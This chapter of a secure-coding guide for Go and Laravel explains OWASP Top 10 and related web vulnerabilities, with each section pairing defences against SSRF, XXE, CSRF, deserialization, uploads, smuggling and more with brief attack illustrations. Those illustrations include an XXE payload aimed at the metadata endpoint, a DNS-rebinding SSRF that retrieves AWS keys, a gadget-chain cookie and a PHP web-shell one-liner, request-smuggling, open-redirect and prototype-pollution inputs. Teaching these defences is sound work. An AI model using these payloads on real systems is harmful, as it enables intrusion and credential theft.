Webhooks without signaturesForge payment successHMAC signatures, replay window, idempotency

Fix / how to use it: Run the method in Security foundations on each new flow; write the limits (rates, quotas, expiries) into the ticket, not into a later hardening sprint.

A05 Security misconfiguration: defaults, debug mode, XXE, open buckets Must-know ​

In plain words: The software is fine; the way it is switched on is not: default passwords, a debug page that prints secrets, directory listing, an XML parser that fetches external entities, a storage bucket readable by the internet.

Common misunderstanding: "Debug mode only shows a stack trace." Laravel's configuration docs: "If the variable is set to true in production, you risk exposing sensitive configuration values to your application's end users." Debug pages have exposed environment variables, database credentials and APP_KEY, which in turn decrypts and forges cookies.

Definition: A05:2021 (A02:2025) includes: default credentials (admin/admin on databases, message brokers, routers, CMS installs), debug mode in production (APP_DEBUG=true, Go net/http/pprof exposed, Spring Actuator, Django DEBUG=True), verbose errors with SQL or stack traces, directory listing (NGINX autoindex on, Apache Options +Indexes, Go http.FileServer on a directory), unnecessary features (sample apps, admin consoles), XXE (XML External Entity: an XML parser resolving <!ENTITY x SYSTEM "file:///etc/passwd"> reads files or performs SSRF), open cloud storage (public S3 buckets, Azure containers, GCS ACLs), permissive CORS, and missing security headers.

 1  attacker uploads invoice.xml:
 2    <?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>
 3  Java/PHP parser with external entities enabled fetches the URL     (XXE -> SSRF)
 4  response echoes <r> content: IAM role name and keys
 5  fix: disable DTDs and external entities; Go encoding/xml never resolves external entities
ProductMisconfigurationFix
LaravelAPP_DEBUG=true, APP_ENV=local in production, .env reachableAPP_DEBUG=false, web root is public/, php artisan config:cache
PHPdisplay_errors=On, expose_php=Ondisplay_errors=Off, log_errors=On, expose_php=Off
PHP XMLLIBXML_NOENT / LIBXML_DTDLOAD flags on untrusted XMLDo not pass them; libxml2 2.9+ disables entity loading by default
Gopprof on the public mux, http.FileServer listing directoriesSeparate admin listener on localhost; serve a file system without directory index
NGINXautoindex on, server_tokens onautoindex off, server_tokens off
AWS S3Bucket policy Principal: "*"Block Public Access on account level, CloudFront with origin access control
Databases, brokersDefault users (RabbitMQ guest, Elasticsearch without auth)Remove defaults, bind to private networks

Fix / how to use it: Configuration as code reviewed like code; a CI check that fails on APP_DEBUG=true in production manifests; the headers middleware.

Security headers: HSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy, frame-ancestors Must-know ​

In plain words: A handful of response headers switch on browser protections that are off by default. They cost nothing per request and close whole classes of attack.

Common misunderstanding: "X-XSS-Protection: 1; mode=block protects against XSS." The OWASP HTTP Headers Cheat Sheet recommends X-XSS-Protection: 0: the old filter is removed from modern browsers and could itself be abused.

Definition and values (OWASP HTTP Headers Cheat Sheet recommendations):

HeaderValueWhat it does
Strict-Transport-Security (HSTS)max-age=63072000; includeSubDomains; preloadBrowser refuses plain HTTP for two years
Content-Security-Policynonce + strict-dynamic, object-src 'none', base-uri 'none', frame-ancestors 'none'Script allowlist, framing control
X-Content-Type-OptionsnosniffNo MIME sniffing: a text/plain upload is never run as script
Referrer-Policystrict-origin-when-cross-originNo full URLs (with tokens) to other sites
Permissions-Policycamera=(), microphone=(), geolocation=()Disables powerful features for the page and iframes
X-Frame-OptionsDENYLegacy framing control; "obsoleted by the frame-ancestors CSP directive"
X-XSS-Protection0Turns the legacy filter off
Cross-Origin-Opener-Policysame-originIsolates the window from cross-origin openers
Cache-Control on private pagesno-storeShared caches and back button do not keep personal data
Server, X-Powered-ByremoveLess fingerprinting

Fix / how to use it: Go headers.Secure; Laravel SecurityHeaders appended to the web group; or set them once at the edge (NGINX add_header ... always, Cloudflare Transform Rules, AWS CloudFront response headers policy). Verify with curl -sI.

A06 Vulnerable and outdated components: SCA, Dependabot, Renovate, SBOM Must-know ​

In plain words: Your code is fine, but a library, base image or plugin you ship has a published vulnerability, and the attacker reads the same advisory you ignored.

Common misunderstanding: "The scanner reports 300 CVEs, so we are 300 times vulnerable." Most findings are in code you never call. Tools that check reachability (govulncheck "only surfaces vulnerabilities that actually affect you, based on which functions in your code are transitively calling vulnerable functions") turn noise into a short list.

Definition: SCA (software composition analysis) compares your dependency graph with advisory databases (GitHub Advisory Database, OSV, the Go vulnerability database, Packagist security advisories, NVD). Tools: govulncheck ./...; composer audit (it "checks for and lists security vulnerability advisories using the Packagist.org API by default" and exits 1 when it finds packages matching the policies); npm audit; GitHub Dependabot (alerts and update PRs); Renovate (update PRs with grouping, schedules and automerge); Trivy/Grype for container images. An SBOM (software bill of materials, CycloneDX or SPDX) records exactly what shipped, so the next advisory is a query, not an investigation. In 2025 this became A03 Software Supply Chain Failures, covering also build systems, IDE extensions and distribution infrastructure.

EcosystemAuditAuto-updateSBOM
Gogovulncheck ./... (call-graph reachability)Dependabot gomod, Renovatecyclonedx-gomod, Syft
PHP / Laravelcomposer audit, composer audit --lockedDependabot composer, Renovatecyclonedx/cyclonedx-php-composer
JavaScriptnpm audit, pnpm auditDependabot npm, Renovate@cyclonedx/cyclonedx-npm
ContainersTrivy, Grype, Docker ScoutRenovate (Dockerfile digests)Syft, BuildKit SBOM attestations

Fix / how to use it: Fail CI on reachable high and critical findings; weekly update PRs with tests; pin by lock files and image digests; keep an SBOM per release. The pipeline side is in Secure SDLC.

A07 Identification and authentication failures Important ​

In plain words: Logging in, staying logged in or recovering an account can be done by someone who is not the user.

Common misunderstanding: "Strong password rules fix authentication." Credential stuffing uses real passwords leaked elsewhere; what stops it is MFA, rate limiting and breached-password checks.

Definition: Credential stuffing and brute force without throttling, weak recovery (security questions, reset tokens that do not expire), session fixation, session ids in URLs, missing rotation on login, tokens accepted after logout, JWT alg: none or unverified signatures. The 2025 name is "Authentication Failures".

FailureFixWhere
No throttlingPer-account and per-IP limitsRate limiting
Password storageArgon2id/bcryptAuthentication
Session fixation, no rotationRegenerate id on loginWeb sessions
JWT not verifiedVerify signature, alg, aud, expJWT deep dive

Fix / how to use it: Laravel RateLimiter::for('login', ...) and starter kits with MFA; Go x/time/rate per key. Detail lives in the linked chapters.

A08 Software and data integrity failures: insecure deserialization, gadget chains, SRI, CI/CD Must-know ​

In plain words: The system accepts code or objects without checking that they come from someone it trusts: a serialized PHP object in a cookie, a script from a CDN that changed, a build step that pulls an unpinned plugin.

Common misunderstanding: "unserialize($x, ['allowed_classes' => false]) makes it safe." The PHP manual: "Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes." Parsing native object formats from strangers also invites memory and CPU exhaustion.

Definition: Insecure deserialization (CWE-502): a native format (PHP serialize, Java ObjectInputStream, Python pickle, .NET BinaryFormatter, Ruby Marshal) recreates objects of any loaded class; magic methods (__wakeup, __destruct, __toString in PHP; readObject in Java) run during or after decoding; a gadget chain is a sequence of such methods in libraries you already ship (Laravel, Monolog, Guzzle chains are catalogued in phpggc) that ends in file writes or code execution. Go's encoding/gob does not instantiate arbitrary types, but its docs warn it "is not designed to be hardened against adversarial inputs". Signed payloads: if data must round-trip through the client, use JSON plus an HMAC and verify before parsing. CI/CD integrity: pinned actions and images by digest, protected branches, least-privilege CI tokens, signed artifacts (Sigstore cosign), provenance (SLSA). SRI (Subresource Integrity): <script src="https://cdn.example/lib.js" integrity="sha384-..." crossorigin="anonymous">; the browser refuses a file whose hash changed.

 1  app stores cart in cookie: base64(serialize($cart))
 2  attacker builds a payload with phpggc for a gadget chain in a vendor library
 3  cookie = base64(O:40:"Some\Vendor\Class":1:{...})
 4  unserialize() instantiates the object; __destruct() writes public/shell.php
 5  GET /shell.php?cmd=id -> remote code execution
 6  fix: JSON + HMAC verified before decode, or keep the cart server-side
FormatInstantiates arbitrary classes?Safe use with untrusted input
PHP serialize/unserializeYes (autoloading)Never
Laravel encrypted cookies / CryptEncrypted and MACed with APP_KEYOnly while APP_KEY stays secret (debug page leaks break it)
Java ObjectInputStreamYesNever without an allowlist filter (JEP 290)
Python pickleYesNever
Go encoding/gobNo (only registered types)Size-limit input; prefer JSON or protobuf across trust boundaries
JSON, protobufNo (data only)Yes, with schema validation

Fix / how to use it: Go signed; Laravel SignedPayload. Laravel's Vite integration adds integrity attributes when the manifest contains hashes (vite-plugin-manifest-sri). Serialization formats in general: Serialization formats.

A09 Security logging and monitoring failures; log injection Must-know ​

In plain words: The attack is happening and nothing records it, or it is recorded and nobody is alerted, or the log itself is a new leak (passwords and tokens in logs) or a new attack surface (forged lines).

Common misunderstanding: "We log everything." Logging everything without structure means passwords and session ids in logs and no alert rule that can count "failed logins per account". The 2025 rename says it: "Great logging with no alerting is of minimal value in identifying security incidents."

Definition: Log what an investigator needs: authentication success and failure, authorization failures, input validation failures that indicate probing, admin actions, changes to permissions, high-value business events, with timestamp, user, source IP, request id, outcome. Never log passwords, session ids, full tokens, card numbers, or more PII than needed (OWASP Logging Cheat Sheet). Log injection (CWE-117): CR/LF in input forges extra lines in text logs, or injects markup into a log viewer (stored XSS against the SOC). Structured JSON logs escape values; viewers must encode output.

 1  username = "ana\n2026-11-26T10:00:00Z INFO login ok user=admin"
 2  text log:  login failed user=ana
 3             2026-11-26T10:00:00Z INFO login ok user=admin        <- forged line
 4  JSON log:  {"msg":"auth.login_failed","user":"ana\n2026-...admin"}   one record
 5  alert:     count(auth.login_failed by user) > 20 in 5 min -> page
EventFieldsAlert
auth.login_faileduser, ip, reason, request_id> 20 per account or > 200 per IP in 5 min
authz.denieduser, resource, actionspike vs baseline (IDOR probing)
csrf.rejected / csp.violationroute, origin, directivenew route or sudden volume
admin.role_changedactor, target, old, newevery occurrence to a channel
ssrf.blockeduser, host, resolved ipany metadata-range attempt

Fix / how to use it: Go logsafe uses log/slog JSON with redaction; Laravel Log::withContext([...]) with a JSON formatter. The pipeline and alert design are in Observability and Alerting that works.

A10 Server-side request forgery (SSRF): metadata endpoints, DNS rebinding, allowlists, egress Must-know ​

In plain words: A feature fetches a URL the user supplies (webhook tester, link preview, "import from URL", PDF renderer), and the attacker points it at things only your server can reach.

Common misunderstanding: "We check that the host name is on an allowlist." The OWASP SSRF cheat sheet: "Domain allowlisting alone does not prevent DNS rebinding." The name can resolve to a public IP when you check and to 127.0.0.1 when you connect; redirects from an allowed host can lead anywhere.

Definition: SSRF (CWE-918; A10:2021, part of A01:2025) makes your server send a request to a destination the attacker chose. Targets: cloud metadata endpoints (AWS, GCP and Azure all use 169.254.169.254; AWS also fd00:ec2::254; ECS task credentials at 169.254.170.2), localhost admin ports (Redis 6379, Elasticsearch 9200, the Docker API), internal services without authentication, and other schemes (file://, gopher://). DNS rebinding: a malicious DNS server answers with a short TTL, first a public address, then an internal one. Defences: an allowlist of hosts where the feature permits it; scheme https only; reject userinfo and odd ports; resolve and check every address against private, loopback, link-local, CGNAT and documentation ranges after unmapping IPv4-mapped IPv6; make the client connect only to the validated address (a dialer check or pinned resolution); re-check redirects or disable them; cap response size and time; and at the network layer, egress control (an outbound proxy or firewall that only allows what the feature needs) plus AWS IMDSv2.

Fetching a user-supplied URL without becoming a proxy into the networkUser URLhttps://host/path1. URL checkhttps only, no userinfo,host allowlist, port 4432. DNS lookupA and AAAA(attacker controls it)3. Dialer controlcheck the exact IPbeing connected toPublic hostfetch, cap body,timeoutsRejected earlyhttp://, file://, gopher://user@host, :6379Refused at connect time169.254.169.254 (cloud metadata)127.0.0.1, ::1, 10/8, 172.16/12192.168/16, 100.64/10, fc00::/7::ffff:169.254.169.254, NAT644. Redirectnew Location runssteps 1 to 3 again;max 3 hops5. Network layer: egress proxy or firewall allowlist, IMDSv2 (PUT token, hop limit 1), no credentials on the fetcher hostDNS rebinding defeated because the check in step 3 runs on the resolved address with no second lookup
     Attacker                    App (link preview)                         Network
 1   url = https://rebind.evil.example/
 2                               resolve: 198.51.100.20 (public) -> URL check passes
 3                               connect: second lookup, TTL 0 -> 169.254.169.254
 4                                                                          GET /latest/meta-data/iam/security-credentials/
 5                               preview shows temporary AWS keys           (SSRF via DNS rebinding)
 6   fix: check the IP inside the dialer (no second lookup); IMDSv2 needs a PUT token with hop limit 1; egress blocks 169.254.0.0/16
LayerControlProduct
ApplicationScheme/host/port checks, IP check at connect time, redirect re-check, size and time capsGo net.Dialer.Control; Laravel Http::withOptions(['allow_redirects' => false, 'curl' => [CURLOPT_RESOLVE => ...]])
Metadata serviceSession token required (PUT /latest/api/token with X-aws-ec2-metadata-token-ttl-seconds), hop limit 1AWS IMDSv2; GCP requires Metadata-Flavor: Google; Azure requires Metadata: true
NetworkEgress allowlist, no route from the fetcher to internal subnetsSecurity groups, Kubernetes NetworkPolicy, an egress proxy such as Squid or Envoy
ProcessFetcher in its own service without credentialsSeparate IAM role with no permissions

Real scenario: the Capital One 2019 breach is widely described as SSRF to the EC2 metadata service; we did not fetch a primary Capital One source, so treat the detail as secondary. Webhook "test delivery" buttons, Open Graph previews in chat apps, SVG and PDF renderers fetching remote images, and XXE are the usual entry points.

Fix / how to use it: Go ssrf.Policy validates the URL, then checks the exact IP in net.Dialer.Control, so rebinding fails; Laravel SafeHttpClient resolves, checks every A/AAAA answer and pins the connection with CURLOPT_RESOLVE. Network-level egress is in DDoS and network security and Firewalls.

A10:2025 Mishandling of exceptional conditions: failing open Good to know ​

In plain words: When something unusual happens (a timeout, a null, a parse error, a full disk), the code takes a path nobody designed, and that path skips a security check.

Common misunderstanding: "An exception means the request failed safely." A catch that logs and continues, an authorization service whose timeout means "allow", or a half-applied transaction are all exceptional paths that end in an insecure state.

Definition: New in 2025 with 24 CWEs: improper error handling, failing open, logic errors on abnormal states, unchecked return values, resource exhaustion. The 2025 text: "If you are part way through a transaction of any kind, it is extremely important that you roll back every part of the transaction and start again (also known as failing closed)", and "Nothing in information technology should be limitless".

Fail-open smellFail-closed version
if err != nil { log; return true } in an authz checkReturn false/403 on any error
Policy service timeout means allowTimeout means deny, with a cached last-known policy if availability needs it
Partial money movement after an exceptionOne transaction, rollback, idempotent retry
Unlimited body, unlimited JSON depthMaxBytesReader, decoder limits, timeouts
Error page shows stack traceGeneric message, details only in logs

Fix / how to use it: Go: every security decision returns an error that the caller must treat as deny; Laravel: DB::transaction, a global exception handler with APP_DEBUG=false. Related: Timeouts, retries and jitter.

CSRF: synchronizer token, SameSite, Fetch Metadata Must-know ​

In plain words: The browser attaches your cookies to any request to your site, even one an attacker's page triggered; CSRF is making the victim's browser send a state-changing request they never intended.

Common misunderstanding: "SameSite=Lax solved CSRF." It covers cross-site POSTs in modern browsers, not same-site attackers (a compromised sibling subdomain), GET requests that change state, or older clients. OWASP still treats tokens as essential for cookie-authenticated apps.

Definition: CSRF (CWE-352, rank 3 in CWE Top 25 2025; a member of A01:2021) abuses ambient credentials. Defences: reject cross-origin unsafe requests using Sec-Fetch-Site or Origin; a synchronizer token (random per session, stored server-side, sent in a hidden field or header); the signed double-submit cookie for stateless apps; SameSite cookies as defence in depth; never change state on GET. Laravel 13's PreventRequestForgery middleware "first checks the Sec-Fetch-Site header" and, if that does not pass, "falls back to traditional CSRF token validation"; a token mismatch answers 419, origin-only mode 403.

 1  victim logged in to bank.example
 2  victim visits evil.example: <form action=https://bank.example/transfer method=POST> auto-submits
 3  browser: Sec-Fetch-Site: cross-site, Origin: https://evil.example, cookie (if SameSite=None)
 4  guard: Sec-Fetch-Site cross-site and origin untrusted -> 403
 5  older browser without Sec-Fetch-Site: no _token field (attacker cannot read it) -> 419
DefenceLaravel 13Go
Fetch Metadata / OriginPreventRequestForgery layer 1; preventRequestForgery(allowSameSite: true)csrf.Guard here; Go 1.25+ http.CrossOriginProtection
Synchronizer token@csrf, _token, X-CSRF-TOKEN, X-XSRF-TOKENcsrf.Guard fallback with subtle.ConstantTimeCompare
SameSitesame_site in config/session.phphttp.SameSiteLaxMode
ExclusionspreventRequestForgery(except: ['webhooks/payments'])route outside the guard, signature checked

Fix / how to use it: Go csrf.Guard; Laravel bootstrap/app.php. Cookie and SameSite mechanics: Web sessions and CORS.

Clickjacking Important ​

In plain words: The attacker loads your page in an invisible iframe on top of a decoy, so the victim's click lands on your real "Delete account" or "Approve payment" button.

Common misunderstanding: "We use frame-busting JavaScript." Sandboxed iframes and other tricks defeat frame-busting scripts; the browser-enforced header is the fix.

Definition: UI redressing. The OWASP Clickjacking Defense Cheat Sheet recommends Content-Security-Policy: frame-ancestors 'none' (or 'self' or a list of trusted hosts) and X-Frame-Options: DENY for old browsers; SameSite cookies reduce the impact because a cross-site frame does not get Lax cookies.

 1  evil.example: <iframe src="https://bank.example/settings" style="opacity:0;position:absolute;top:0">
 2  under it: a big "Claim your prize" button aligned with "Close account"
 3  victim clicks -> click goes to bank.example in the frame, with the victim's session
 4  fix: frame-ancestors 'none' -> the browser refuses to render bank.example in the frame
NeedHeader
Never framedframe-ancestors 'none' + X-Frame-Options: DENY
Framed by own originframe-ancestors 'self' + X-Frame-Options: SAMEORIGIN
Embeddable widgetframe-ancestors https://partner.example; confirm sensitive actions outside the frame

Fix / how to use it: Both header middlewares in this chapter send frame-ancestors 'none' and X-Frame-Options: DENY.

Open redirect Important ​

In plain words: A parameter such as ?next= or ?return_to= sends users wherever it says, so a link that starts with your trusted domain ends on a phishing page.

Common misunderstanding: "It is only a redirect, no data is exposed." Open redirects make phishing believable, leak OAuth codes and tokens when used as redirect_uri, and bypass SSRF allowlists (PortSwigger shows SSRF filters bypassed "via open redirection").

Definition: CWE-601. The fix is to accept only local paths (start with /, not //, no backslash, no scheme or host, no control characters), or map an id to a stored destination, or keep an exact allowlist of external URLs; for OAuth, exact redirect_uri matching.

 1  attacker mails: https://bank.example/login?next=https://bank-example.evil.example/2fa
 2  victim logs in on the real site, is redirected to the clone, types the 2FA code there
 3  variants that bypass naive checks: //evil.example, /\evil.example, https:evil.example, /%0d%0aLocation:...
 4  fix: SafeNext() -> only /local/paths, otherwise /dashboard
InputSafe?
/orders/42?tab=itemsyes
https://evil.example/, //evil.example/, /\evil.exampleno
javascript:alert(1)no

Fix / how to use it: Go redirect.SafeNext; Laravel SafeRedirect::target (Laravel's redirect()->intended() uses a URL stored in the session by the framework, which is safer than a query parameter).

Mass assignment: $fillable, $guarded, Go struct binding Must-know ​

In plain words: The framework copies every field of the request into the model, so the client can set fields the form never showed: role, is_admin, balance, tenant_id.

Common misunderstanding: "The field is not in the HTML form, so nobody can send it." Anyone can add JSON keys; the form is a suggestion. OWASP lists the alternative names: "Mass Assignment: Ruby on Rails, NodeJS. Autobinding: Spring MVC, ASP NET MVC. Object injection: PHP."

Definition: Binding request parameters straight into persistence objects. Laravel: "all Eloquent models are protected against mass assignment vulnerabilities by default"; you declare the allowlist with the Fillable attribute (Laravel 13: #[Fillable(['name'])]; older apps use the $fillable property) or a denylist with Guarded/$guarded, and Unguarded turns protection off. Attributes outside the allowlist are silently discarded; Model::preventSilentlyDiscardingAttributes() makes that an exception during development. Go: json.Decode into the persistence struct binds every exported field with a matching tag; the fix is an input struct, DisallowUnknownFields, and explicit copying.

 1  PATCH /me {"name":"Ana","role":"admin"}
 2  before: $user->update($request->all())   with role fillable or model unguarded -> role = admin
 3  before (Go): json.Decode(&user)                                              -> Role = "admin"
 4  after:  $request->safe()->only(['name','bio','website']) + Fillable without role -> role unchanged
 5  after (Go): ProfileInput + DisallowUnknownFields                              -> 400 unknown field "role"
FrameworkAllowlistTrap
Laravel 13#[Fillable([...])], $request->validated(), safe()->only()#[Unguarded], $request->all(), forceFill with input
Go encoding/jsonInput DTO, DisallowUnknownFieldsDecoding into the DB model; embedded structs exposing fields
Go Gin/Echo bindingBind into DTO with binding tagsShouldBind(&model)
RailsStrong parameters permitpermit!
Spring@InitBinder setAllowedFields, DTOsBinding entities directly

Fix / how to use it: Go massassign; Laravel User model and ProfileController.

Race conditions, TOCTOU and double spend Must-know ​

In plain words: The code checks ("is the balance enough? is the coupon unused?") and then acts in a separate step; two requests arriving together both pass the check before either acts.

Common misunderstanding: "Requests are fast, the window is microseconds." Attackers widen and align windows on purpose: PortSwigger's research on single-packet attacks sends 20 to 30 requests in one TCP packet so they arrive together; "limit overrun race conditions" are their name for redeeming one gift card or discount several times.

Definition: TOCTOU (time-of-check to time-of-use), CWE-367. In business logic: double spend of a balance, coupon or gift card reuse, exceeding a rate or quota, two accounts with one invite, voting twice. Fixes: make the check part of the write (atomic conditional UPDATE ... WHERE balance >= $1, then check affected rows), unique constraints (one redemption per coupon), row locks (SELECT ... FOR UPDATE), serializable isolation with retries, idempotency keys for retried requests, and distributed locks with fencing tokens when the state is outside one database.

     Request A                                   Request B
 1   SELECT balance FROM accounts WHERE id=7 -> 100
 2                                               SELECT balance FROM accounts WHERE id=7 -> 100
 3   100 >= 100 ok
 4                                               100 >= 100 ok
 5   UPDATE accounts SET balance = 0 WHERE id=7
 6                                               UPDATE accounts SET balance = 0 WHERE id=7
 7   paid 100                                    paid 100      -> 200 paid out of 100 (double spend)
 8   fix: UPDATE accounts SET balance = balance - 100 WHERE id = 7 AND balance >= 100;  -- B gets 0 rows
MechanismWorks inCost
Atomic conditional updateOne database rowMust express the rule in WHERE
Unique constraintOne-time actions (coupon redemption, invite)Handle duplicate-key error
SELECT ... FOR UPDATEMulti-row rules in one databaseLock waits, deadlock ordering
Serializable + retryComplex invariantsRetries on 40001
Idempotency keyClient retriesKey storage and TTL
Distributed lock + fencing tokenState across servicesLock service; fencing needed for safety

Fix / how to use it: SQL in the block above and in Solving; Go wallet; Laravel TransferController (unique idempotency key + conditional decrement). Depth: Isolation levels, API idempotency, Distributed locking.

File upload vulnerabilities Must-know ​

In plain words: An upload is untrusted bytes plus an untrusted name plus an untrusted type. Each can become code (a .php file in a served directory), a path (../../), a script (SVG or HTML served from your origin), or a bomb (a small file that expands to gigabytes).

Common misunderstanding: "We check the Content-Type header." The OWASP File Upload Cheat Sheet: "The Content-Type for uploaded files is provided by the user, and as such cannot be trusted, as it is trivial to spoof." Extension checks alone fail the same way; Laravel's docs say never to rely on the user-assigned extension alone.

Definition: Controls from the cheat sheet, in order: list allowed extensions; validate the type from content (magic bytes, then decode); "Change the filename to something generated by the application"; "Set a file size limit"; store "outside of the webroot" or on a different host or bucket; serve with X-Content-Type-Options: nosniff, Content-Disposition: attachment and a correct type (no content sniffing); re-encode images and strip metadata; cap decoded dimensions to stop an image bomb (pixel flood: a tiny PNG declaring 50,000 x 50,000 pixels needs 10 GB of RAM to decode); limit archives (zip bombs, zip slip ../ entries, gosec G305); scan with an antivirus if users download each other's files.

 1  upload avatar.png containing "<?php system($_GET['c']);"   (Content-Type: image/png, sent by the client)
 2  app trusts extension and header, saves to public/uploads/avatar.php? (name from client)
 3  GET /uploads/avatar.php?c=id                                  -> web shell
 4  pixel flood: 60-byte PNG, IHDR 50000 x 50000 -> image library allocates 2.5 G pixels -> OOM
 5  fix: sniff -> allowlist png/jpeg; DecodeConfig -> width*height <= 25 M; random name; private bucket; nosniff
ThreatControlGoLaravel 13
Wrong typeSniff contenthttp.DetectContentType + image.DecodeConfigFile::image() (reads content), mimes, mimetypes
SVG/HTML with scriptDisallow or sanitise; serve from another domainnot in allowlistFile::image() rejects SVG unless allowSvg: true
Huge fileSize cap before parsinghttp.MaxBytesReader->max('5mb'), upload_max_filesize, post_max_size
Image bombPixel budget from the headercfg.Width * cfg.Height checkRule::dimensions()->maxWidth()->maxHeight()
Path / nameServer-generated namerandom hex + sniffed ext, os.Rootstore() uses hashName(); never storeAs with user names
ExecutionOutside web root, separate domainos.Root directory not servedprivate s3 disk, temporaryUrl

Fix / how to use it: Go upload; Laravel UploadAvatarRequest and AvatarController. The filesystem docs: "Never derive the filename argument of storeAs or putFileAs from user-supplied input." Storage design: Object storage.

HTTP request smuggling and header injection Important ​

In plain words: A front end (CDN, load balancer, reverse proxy) and a back end read the same bytes but disagree where one request ends, so the attacker hides a second request inside the first; the hidden request is then glued onto the next user's request.

Common misunderstanding: "Our framework parses HTTP correctly, so we are safe." Smuggling is a disagreement between two parsers; each can be "correct" on its own. PortSwigger: "Request smuggling is primarily associated with HTTP/1 requests", but HTTP/2 front ends that downgrade to HTTP/1.1 reintroduce it.

Definition: CL.TE: "the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header"; TE.CL the reverse; TE.TE with obfuscated Transfer-Encoding; H2.CL/H2.TE after downgrading; CL.0 when the back end ignores a body. Prevention (PortSwigger): "Use HTTP/2 end to end and disable HTTP downgrading if possible", make the front end normalise and the back end reject ambiguous requests and close the connection. Header injection / response splitting (CWE-113): CR/LF from input inside a header value (Location, Set-Cookie, custom headers) adds headers or a body; Go's net/http refuses invalid header values and PHP's header() rejects multiple lines, but hand-built responses, log lines and email headers (To: with \r\nBcc:) remain vulnerable.

 1  POST / HTTP/1.1
 2  Host: shop.example
 3  Content-Length: 13           <- front end (CL) forwards 13 bytes
 4  Transfer-Encoding: chunked   <- back end (TE) reads the chunked body
 5
 6  0
 7
 8  SMUGGLED                    <- back end treats this as the start of the NEXT request
 9  next victim's request is appended to "SMUGGLED", e.g. GET /admin with their cookies
LayerControl
Edge (Cloudflare, AWS ALB, NGINX, HAProxy, Envoy)Reject requests with both CL and TE, normalise, prefer HTTP/2 to the origin; ALB routing.http.drop_invalid_header_fields.enabled, desync mitigation mode strictest
Application serverUp-to-date server (Go net/http, PHP-FPM behind NGINX); do not reuse back-end connections after parse errors
CodeNever put raw input in header values; strip CR/LF; use framework APIs (http.Redirect, redirect())

Fix / how to use it: The proxy side is in Forward vs reverse proxies and HTTP evolution; redirect.SafeNext rejects CR/LF.

Prototype pollution Good to know ​

In plain words: In JavaScript, merging attacker JSON into an object can set a property on Object.prototype, which then appears on every object in the process, such as isAdmin on every user.

Common misunderstanding: "This is a front-end bug only." Node.js back ends (Express middleware, merge utilities, template engines) turn it into privilege escalation or RCE; in the browser it becomes DOM XSS via script gadgets.

Definition: CWE-1321. A recursive merge of {"__proto__": {"isAdmin": true} } or {"constructor": {"prototype": {...} } } writes to the shared prototype. Fixes from the OWASP Prototype Pollution Prevention Cheat Sheet: create objects with Object.create(null) or use Map, freeze Object.prototype, reject __proto__/constructor/prototype keys in schema validation, and run Node with --disable-proto=delete. Go and PHP do not have this class (no shared mutable prototype), but a Laravel or Go back end that serves a vulnerable SPA or a Node BFF inherits it.

 1  POST /settings {"__proto__": {"isAdmin": true} }
 2  server: merge(defaults, body)              -> Object.prototype.isAdmin = true
 3  later: if (user.isAdmin) { ... }           -> true for every user without own isAdmin
LanguageExposure
JavaScript / Node.jsYes: merges, query-string parsers, lodash.merge (old versions)
Go, PHPNo prototype chain; analogous risk is mass assignment

Fix / how to use it: Schema validation on every JSON body; Node --disable-proto=delete; SCA for vulnerable merge libraries.

Business-logic abuse and rate limiting Important ​

In plain words: Every request is valid HTTP, authenticated and authorised, but the sequence or the volume breaks the business: scraping prices, enumerating gift cards, buying all tickets with bots, skipping a checkout step.

Common misunderstanding: "A WAF will catch it." A WAF matches payload patterns; abuse has no malicious payload.

Definition: Abuse of intended functionality: skipping steps of a workflow (go straight to /checkout/confirm), negative quantities, currency rounding, unlimited free trials, enumeration of codes, automated purchasing. Controls: server-side state machines for workflows, invariants checked in the domain (quantity > 0, price from catalogue), rate limits and quotas per account/IP/device, bot management, idempotency, and monitoring of business metrics (redemptions per minute).

 1  POST /cart/items {"sku":"A","qty":-5}        -> negative line, total goes down
 2  POST /checkout/confirm without /checkout/pay -> order confirmed unpaid (step skipped)
 3  10,000 POST /giftcards/check {"code":...}    -> valid codes enumerated
 4  fix: domain rules (qty > 0, state machine), per-account rate limit, alert on redemption spikes
AbuseControl
Enumeration (codes, users)Rate limit + uniform responses + long random codes
Step skippingServer-side workflow state
Negative or huge valuesDomain validation, database CHECK constraints
Bots buying inventoryQueue/lottery, per-account limits, bot detection

Fix / how to use it: Algorithms and distributed limits: Rate limiting; shedding under load: Load shedding.

Mechanics ​

The exact knobs ​

KnobWhereValue used in this chapter
APP_DEBUGLaravel .env → config/app.php 'debug' => (bool) env('APP_DEBUG', false)false in production
APP_ENVLaravel .envproduction
display_errors, expose_phpphp.iniOff, Off
PreventRequestForgeryLaravel bootstrap/app.phpdefault web group; except: ['webhooks/payments']
Model::preventSilentlyDiscardingAttributes()Laravel AppServiceProvider$this->app->isLocal()
Vite::useCspNonce()Laravel middlewareper request
File::image()->max('5mb')->dimensions(...)Laravel form request5 MB, 4000 x 4000
upload_max_filesize, post_max_sizephp.ini6M, 8M (slightly above the rule)
http.MaxBytesReaderGo handler16 KiB JSON, 5 MiB + 64 KiB multipart
json.Decoder.DisallowUnknownFieldsGoon for every input DTO
net.Dialer.ControlGo SSRF clientIP check on the resolved address
http.Transport.ProxyGo SSRF clientnil (no environment proxy)
CheckRedirectGo SSRF clientmax 3, each re-checked
os.OpenRootGo 1.24+one root per served directory
CSP nonce lengthboth16 random bytes, base64
HSTS max-ageboth63072000 (2 years), includeSubDomains; preload
IMDSv2 HttpTokens / hop limitAWS EC2required / 1
Token lengthGo csrf.NewToken32 random bytes, base64url

Status codes and error messages ​

WhereStatus or textMeaningFix
Laravel419 Page ExpiredCSRF token missing or mismatchedSend _token / X-CSRF-TOKEN / X-XSRF-TOKEN
Laravel origin-only mode403Sec-Fetch-Site check failedTrusted origin or allowSameSite: true
Laravel validation422 Unprocessable ContentRule::in, File::image(), string failedExpected for attacks; log at info
Laravel Gate::authorize403 AuthorizationExceptionPolicy deniedCorrect; return 404 for objects the user may not know exist
Laravel MassAssignmentException"Add [role] to fillable property..."Unguarded write attempt in dev modeAdd to allowlist only if users may set it
Go os.Rootopenat ../secret.env: path escapes from parentTraversal attemptReturn 400/404
Go html/template#ZgotmplZ in outputUnsafe value in URL/CSS context was replacedValidate URLs before rendering
Go encoding/jsonjson: unknown field "role"Client sent a field not in the DTO400; consider logging as probing
Go SSRF guardssrf: destination not allowed: 169.254.169.254:80Metadata or private address400 without details to the caller
